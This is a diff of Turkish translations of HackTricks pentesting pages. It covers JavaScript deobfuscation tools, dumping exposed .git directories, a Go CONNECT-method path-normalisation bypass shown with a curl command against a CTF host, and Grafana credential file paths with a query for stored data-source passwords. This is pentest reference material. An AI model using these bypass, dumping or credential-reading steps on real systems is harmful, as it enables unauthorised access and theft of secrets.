| Jar Aç | unzip -d \[çıkış dizini] \[jar] |
| Jar Oluştur | jar -cmf META-INF/MANIFEST.MF \[çıkış jar] \* |
| Base64 SHA256 | sha256sum \[dosya] \| cut -d' ' -f1 \| xxd -r -p \| base64 |
| İmzayı Kaldır | rm META-INF/_.SF META-INF/_.RSA META-INF/\*.DSA |
| Jardan Sil | zip -d \[jar] \[silinecek dosya] |
| Sınıfı Çözümle | procyon -o . \[sınıfın yolu] |
| Jar Dosyasını Çözümle | procyon -jar \[jar] -o \[çıktı dizini] |
| Sınıfı Derle | javac \[.java dosyasının yolu] |
| İmzayı Kaldır | rm META-INF/_.SF META-INF/_.RSA META-INF/\*.DSA |
| Jar'dan Sil | zip -d \[jar] \[silinecek dosya] |
| Sınıfı Decompile | procyon -o . \[sınıfın yolu] |
| Jar'ı Decompile | procyon -jar \[jar] -o \[çıkış dizini] |
| Sınıfı Derle | javac \[yol .java dosyası] |
## Gitmek
## Git
```bash
https://github.com/securego/gosec
```
@ -391,9 +393,9 @@ https://github.com/securego/gosec
### Keşif
1. Burp:
* Örümcek ve içerik keşfet
* Site haritası > filtre
* Site haritası > alanına sağ tıklayın > Etkileşim araçları > Betikleri bul
* İçeriği tarayın ve keşfedin
* Sitemap > filtre
* Sitemap > alan adına sağ tıklayın > Etkileşim araçları > Scriptleri Bul
2. [WaybackURLs](https://github.com/tomnomnom/waybackurls):
* `waybackurls <domain> |grep -i "\.js" |sort -u`
@ -403,40 +405,40 @@ https://github.com/securego/gosec
* [https://prettier.io/playground/](https://prettier.io/playground/)
* [https://beautifier.io/](https://beautifier.io/)
* Ayrıca 'Deobfuscate/Unpack' bölümünde belirtilen bazı araçlara bakın.
* Aşağıda 'Deobfuscate/Unpack' bölümünde bahsedilen bazı araçlara da bakın.
#### Deobfuscate/Unpack
**Not**: Tamamen deobfuscate etmek mümkün olmayabilir.
1. .map dosyalarını bulun ve kullanın:
* .map dosyalarıığa çıkarılmışsa, bunları kolayca deobfuscate etmek için kullanılabilir.
* Genellikle, foo.js.map foo.js'e eşlenir. Bunları manuel olarak arayın.
* Eğer .map dosyalarıığa çıkmışsa, bunlar kolayca deobfuscate etmek için kullanılabilir.
* Genellikle, foo.js.map foo.js'e karşılık gelir. Manuel olarak arayın.
* Onları bulmak için [JS Miner](https://github.com/PortSwigger/js-miner) kullanın.
* Aktif taramanın yapıldığından emin olun.
* '[İpuçları/Notlar](https://github.com/minamo7sen/burp-JS-Miner/wiki#tips--notes)'ı okuyun
* Bulunduysa, deobfuscate etmek için [Maximize](https://www.npmjs.com/package/maximize) kullanın.
* Aktif tarama yapıldığından emin olun.
* '[İpuçları/Notlar](https://github.com/minamo7sen/burp-JS-Miner/wiki#tips--notes)'ı okuyun.
* Bulunduğunda, deobfuscate etmek için [Maximize](https://www.npmjs.com/package/maximize) kullanın.
2. .map dosyaları olmadan, JSnice'ı deneyin:
* Referanslar: [http://jsnice.org/](http://jsnice.org/) & [https://www.npmjs.com/package/jsnice](https://www.npmjs.com/package/jsnice)
* İpuçları:
* jsnice.org'u kullanıyorsanız, "Nicify JavaScript" düğmesinin yanındaki seçenekler düğmesine tıklayın ve "Infer types" seçeneğini kaldırarak kodu yorumlarla karıştırmadan temizleyin.
* Kodun başında boş satır bırakmamaya dikkat edin, çünkü bu deobfuscation sürecini etkileyebilir ve yanıltıcı sonuçlar verebilir.
4. JSNice'a modern alternatifler için aşağıdakilere bakabilirsiniz:
* jsnice.org kullanıyorsanız, "Nicify JavaScript" butonunun yanındaki seçenekler butonuna tıklayın ve "Infer types" seçeneğini kaldırarak kodu yorumlarla karıştırmamaya dikkat edin.
* Scriptin önünde boş satır bırakmadığınızdan emin olun, çünkü bu deobfuscate sürecini etkileyebilir ve yanlış sonuçlar verebilir.
4. JSNice için daha modern alternatifler arıyorsanız, aşağıdakilere göz atabilirsiniz:
* [https://github.com/pionxzh/wakaru](https://github.com/pionxzh/wakaru)
* > Javascript decompiler, unpacker ve unminify araç seti
> Wakaru, modern frontend için Javascript decompiler'dır. Paketlenmiş ve transpile edilmiş kaynaktan orijinal kodu geri getirir.
* > Javascript decompiler, unpacker ve unminify aracı
> Wakaru, modern frontend için Javascript decompiler'dır. Paketlenmiş ve dönüştürülmüş bir kaynaktan orijinal kodu geri getirir.
* [https://github.com/j4k0xb/webcrack](https://github.com/j4k0xb/webcrack)
* > Obfuscator.io'yu deobfuscate etme, unminify ve paketlenmiş javascript'i açma
* > obfuscator.io'yu deobfuscate et, unminify et ve paketlenmiş javascript'i aç
* [https://github.com/jehna/humanify](https://github.com/jehna/humanify)
* > ChatGPT kullanarak Javascript kodunu un-minify etme
> Bu araç, Javascript kodunu un-minify etmek için büyük dil modelleri (ChatGPT ve llama2 gibi) ve diğer araçları kullanır. LLM'ler yapısal değişiklikler yapmaz - yalnızca değişkenleri ve fonksiyonları yeniden adlandırmak için ipuçları sağlar. Kodun 1-1 eşdeğer kalmasını sağlamak için AST seviyesinde Babel tarafındanır işleme yapılır.
* > ChatGPT kullanarak Javascript kodunu un-minify et
> Bu araç, Javascript kodunu un-minify etmek için büyük dil modelleri (ChatGPT & llama2 gibi) ve diğer araçları kullanır. LLM'lerin herhangi bir yapısal değişiklik yapmadığını unutmayın - yalnızca değişkenleri ve fonksiyonları yeniden adlandırmak için ipuçları sağlar. Ağır iş, kodun 1-1 eşdeğer kalmasını sağlamak için AST seviyesinde Babel tarafından yapılır.
* [https://thejunkland.com/blog/using-llms-to-reverse-javascript-minification.html](https://thejunkland.com/blog/using-llms-to-reverse-javascript-minification.html)
* > JavaScript değişken adı minifikasyonunu tersine çevirmek için LLM'leri kullanma
3. `console.log()` kullanın;
* Sonuç değerini bulun ve onu `console.log(<packerReturnVariable>);` olarak değiştirin, böylece deobfuscated js yerine konsola yazdırılır.
* Daha sonra, değiştirilmiş (ve hala obfuscated) js'i [https://jsconsole.com/](https://jsconsole.com/) adresine yapıştırarak konsola yazdırılan deobfuscated js'i görebilirsiniz.
* Son olarak, deobfuscated çıktıyı analiz için [https://prettier.io/playground/](https://prettier.io/playground/) adresine yapıştırın ve güzelleştirin.
* **Not**: Hala paketlenmiş (ancak farklı) js görüyorsanız, muhtemelen tekrar paketlenmiştir. İşlemi tekrarlayın.
* Sonunda dönen değeri bulun ve `console.log(<packerReturnVariable>);` olarak değiştirin, böylece deobfuscate edilmiş js çalıştırılmak yerine yazdırılır.
* Ardından, değiştirilmiş (ve hala obfuscate edilmiş) js'i [https://jsconsole.com/](https://jsconsole.com/) yapıştırarak deobfuscate edilmiş js'in konsola yazdırıldığını görün.
* Son olarak, deobfuscate edilmiş çıktıyı [https://prettier.io/playground/](https://prettier.io/playground/) yapıştırarak analiz için güzelleştirin.
* **Not**: Eğer hala paketlenmiş (ama farklı) js görüyorsanız, bu muhtemelen özyinelemeli olarak paketlenmiştir. Süreci tekrarlayın.
#### Referanslar
@ -444,17 +446,32 @@ https://github.com/securego/gosec
* [https://blog.nvisium.com/angular-for-pentesters-part-1](https://web.archive.org/web/20221226054137/https://blog.nvisium.com/angular-for-pentesters-part-1)
* [https://blog.nvisium.com/angular-for-pentesters-part-2](https://web.archive.org/web/20230204012439/https://blog.nvisium.com/angular-for-pentesters-part-2)
* [devalias](https://twitter.com/_devalias)'ın [GitHub Gists](https://gist.github.com/0xdevalias):
* [Obfuscated Web Uygulama Kodunu Deobfuscate Etme / Unminify Etme](https://gist.github.com/0xdevalias/d8b743efb82c0e9406fc69da0d6c6581#deobfuscating--unminifying-obfuscated-web-app-code)
* [Webpack Uygulamalarını Tersine Mühendislik Etme](https://gist.github.com/0xdevalias/8c621c5d09d780b1d321bfdb86d67cdd#reverse-engineering-webpack-apps)
* [Obfuscate Edilmiş Web Uygulama Kodunu Deobfuscate Etme / Unminify Etme](https://gist.github.com/0xdevalias/d8b743efb82c0e9406fc69da0d6c6581#deobfuscating--unminifying-obfuscated-web-app-code)
* [Webpack Uygulamalarını Tersine Mühendislik](https://gist.github.com/0xdevalias/8c621c5d09d780b1d321bfdb86d67cdd#reverse-engineering-webpack-apps)
* [vs](https://gist.github.com/search?q=user:0xdevalias+javascript)
#### Araçlar
* [https://portswigger.net/burp/documentation/desktop/tools/dom-invader](https://portswigger.net/burp/documentation/desktop/tools/dom-invader)
#### Az Kullanılan Referanslar
#### Daha Az Kullanılan Referanslar
* [https://cyberchef.org/](https://cyberchef.org/)
* [https://olajs.com/javascript-prettifier](https://olajs.com/javascript-prettifier)
* [https://jshint.com/](https://jshint.com/)
* [https://github.com/jshint/jshint/](https://github.com/jshint/jshint/)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details>
{% endhint %}

View file

@ -1,47 +1,49 @@
# Git
<details>
<summary><strong>AWS hackleme becerilerinizi sıfırdan kahraman seviyesine çıkarın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong> öğrenin<strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
</details>
**Bir URL'den bir .git klasörünü dökmek için** [**https://github.com/arthaud/git-dumper**](https://github.com/arthaud/git-dumper) **kullanın**
İçeriği incelemek için [**https://www.gitkraken.com/**](https://www.gitkraken.com/) **kullanın**
Bir web uygulamasında bir _.git_ dizini bulunursa, _wget -r http://web.com/.git_ kullanarak tüm içeriği indirebilirsiniz. Ardından, değişiklikleri görmek için _git diff_ kullanabilirsiniz.
[Git-Money](https://github.com/dnoiz1/git-money), [DVCS-Pillage](https://github.com/evilpacket/DVCS-Pillage) ve [GitTools](https://github.com/internetwache/GitTools) araçları, bir git dizininin içeriğini almak için kullanılabilir.
[https://github.com/cve-search/git-vuln-finder](https://github.com/cve-search/git-vuln-finder) aracı, taahhüt mesajları içindeki CVE'leri ve güvenlik açığı mesajlarını aramak için kullanılabilir.
[https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob) aracı, bir kuruluşun ve çalışanlarının depolarında hassas verileri arar.
[Repo security scanner](https://github.com/UKHomeOffice/repo-security-scanner), hassas verileri yanlışlıkla yayınlayan geliştiriciler tarafından oluşturulan GitHub sırlarını keşfetmenize yardımcı olmak için yazılmış bir komut satırı tabanlı bir araçtır. Diğerleri gibi, şifreleri, özel anahtarları, kullanıcı adlarını, token'ları ve daha fazlasını bulmanıza yardımcı olacaktır.
[TruffleHog](https://github.com/dxa4481/truffleHog), GitHub depolarında arama yapar ve taahhüt geçmişi ve dalları inceleyerek yanlışlıkla yayınlanan sırları arar.
GitHub dorks hakkında bir çalışma burada bulunabilir: [https://securitytrails.com/blog/github-dorks](https://securitytrails.com/blog/github-dorks)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerinizi sıfırdan kahraman seviyesine çıkarın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong> öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Bir URL'den .git klasörünü dökmek için** [**https://github.com/arthaud/git-dumper**](https://github.com/arthaud/git-dumper) **kullanın**
**İçeriği incelemek için** [**https://www.gitkraken.com/**](https://www.gitkraken.com/) **kullanın**
Bir _.git_ dizini bir web uygulamasında bulunursa, tüm içeriği _wget -r http://web.com/.git_ kullanarak indirebilirsiniz. Ardından, _git diff_ kullanarak yapılan değişiklikleri görebilirsiniz.
Araçlar: [Git-Money](https://github.com/dnoiz1/git-money), [DVCS-Pillage](https://github.com/evilpacket/DVCS-Pillage) ve [GitTools](https://github.com/internetwache/GitTools) bir git dizininin içeriğini almak için kullanılabilir.
Araç [https://github.com/cve-search/git-vuln-finder](https://github.com/cve-search/git-vuln-finder) CVE'leri ve güvenlik zafiyeti mesajlarını commit mesajları içinde aramak için kullanılabilir.
Araç [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob) bir organizasyonun ve çalışanlarının depolarında hassas verileri arar.
[Repo güvenlik tarayıcısı](https://github.com/UKHomeOffice/repo-security-scanner) geliştiricilerin yanlışlıkla hassas verileri iterek oluşturduğu GitHub sırlarını keşfetmenize yardımcı olmak için yazılmış komut satırı tabanlı bir araçtır. Diğerleri gibi, şifreler, özel anahtarlar, kullanıcı adları, token'lar ve daha fazlasını bulmanıza yardımcı olacaktır.
[TruffleHog](https://github.com/dxa4481/truffleHog) GitHub depolarında arama yapar ve commit geçmişi ve dallarını tarayarak yanlışlıkla eklenmiş sırları arar.
Burada github dorks hakkında bir çalışma bulabilirsiniz: [https://securitytrails.com/blog/github-dorks](https://securitytrails.com/blog/github-dorks)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,27 +1,28 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## CONNECT yöntemi
Go programlama dilinde, HTTP isteklerini işlerken, özellikle `net/http` kütüphanesini kullanırken yaygın bir uygulama, istek yolunu standart bir formata otomatik olarak dönüştürmektir. Bu işlem şunları içerir:
Go programlama dilinde, HTTP isteklerini işlerken, özellikle `net/http` kütüphanesini kullanırken, istek yolunun otomatik olarak standart bir formata dönüştürülmesi yaygın bir uygulamadır. Bu süreç şunları içerir:
- `/flag/` gibi bir eğik çizgi (`/`) ile biten yollar, eğik çizgi olmayan karşılıklarına (`/flag`) yönlendirilir.
- `/../flag` gibi dizin gezinme dizilerini içeren yollar basitleştirilir ve `/flag`'e yönlendirilir.
- `/flag/.` gibi bir nokta ile biten yollar da temiz yol olan `/flag`'e yönlendirilir.
- `/flag/` gibi bir eğik çizgi (`/`) ile biten yollar, eğik çizgisiz karşılığına, yani `/flag`'a yönlendirilir.
- `/../flag` gibi dizin geçiş dizileri içeren yollar basitleştirilir ve `/flag`'a yönlendirilir.
- `/flag/.` gibi bir son nokta ile biten yollar da temiz yol olan `/flag`'a yönlendirilir.
Ancak, `CONNECT` yönteminin kullanımında bir istisna gözlenir. Diğer HTTP yöntemlerinin aksine, `CONNECT` yöntemi yol normalizasyon sürecini tetiklemez. Bu davranış, korumalı kaynaklara erişim için potansiyel bir yol açar. `CONNECT` yöntemini `curl`'de `--path-as-is` seçeneğiyle birlikte kullanarak, standart yol normalizasyonunu atlayabilir ve potansiyel olarak kısıtlı alanlara ulaşabilirsiniz.
Ancak, `CONNECT` yönteminin kullanımıyla bir istisna gözlemlenir. Diğer HTTP yöntemlerinin aksine, `CONNECT` yol normalizasyon sürecini tetiklemez. Bu davranış, korunan kaynaklara erişim için potansiyel bir yol açar. `curl`'da `--path-as-is` seçeneği ile birlikte `CONNECT` yöntemini kullanarak, standart yol normalizasyonunu atlayabilir ve potansiyel olarak kısıtlı alanlara ulaşabilirsiniz.
Aşağıdaki komut, bu davranışı nasıl istismar edeceğinizi göstermektedir:
```bash
@ -31,16 +32,17 @@ curl --path-as-is -X CONNECT http://gofs.web.jctf.pro/../flag
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
# Grafana
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## İlginç şeyler
* **`/etc/grafana/grafana.ini`** dosyası, **admin** **kullanıcı adı** ve **parola** gibi hassas bilgiler içerebilir.
* Platform içinde **insanları davet edebilir** veya **API anahtarları oluşturabilirsiniz** (yönetici olmanız gerekebilir).
* Yüklü olan eklentileri kontrol edebilir (veya yeni eklentiler yükleyebilirsiniz).
* Varsayılan olarak **SQLite3** veritabanını kullanır, konumu **`/var/lib/grafana/grafana.db`**'dir.
* **`/etc/grafana/grafana.ini`** dosyası **admin** **kullanıcı adı** ve **şifre** gibi hassas bilgileri içerebilir.
* Platform içinde **insanları davet edebilir** veya **API anahtarları oluşturabilirsiniz** (admin olmanız gerekebilir)
* Hangi eklentilerin yüklü olduğunu kontrol edebilir (veya yeni eklentiler yükleyebilirsiniz)
* Varsayılan olarak **`/var/lib/grafana/grafana.db`** içinde **SQLite3** veritabanı kullanır
* `select user,password,database from data_source;`

View file

@ -1,65 +1,67 @@
# ImageMagick Güvenliği
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana dönüştürmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
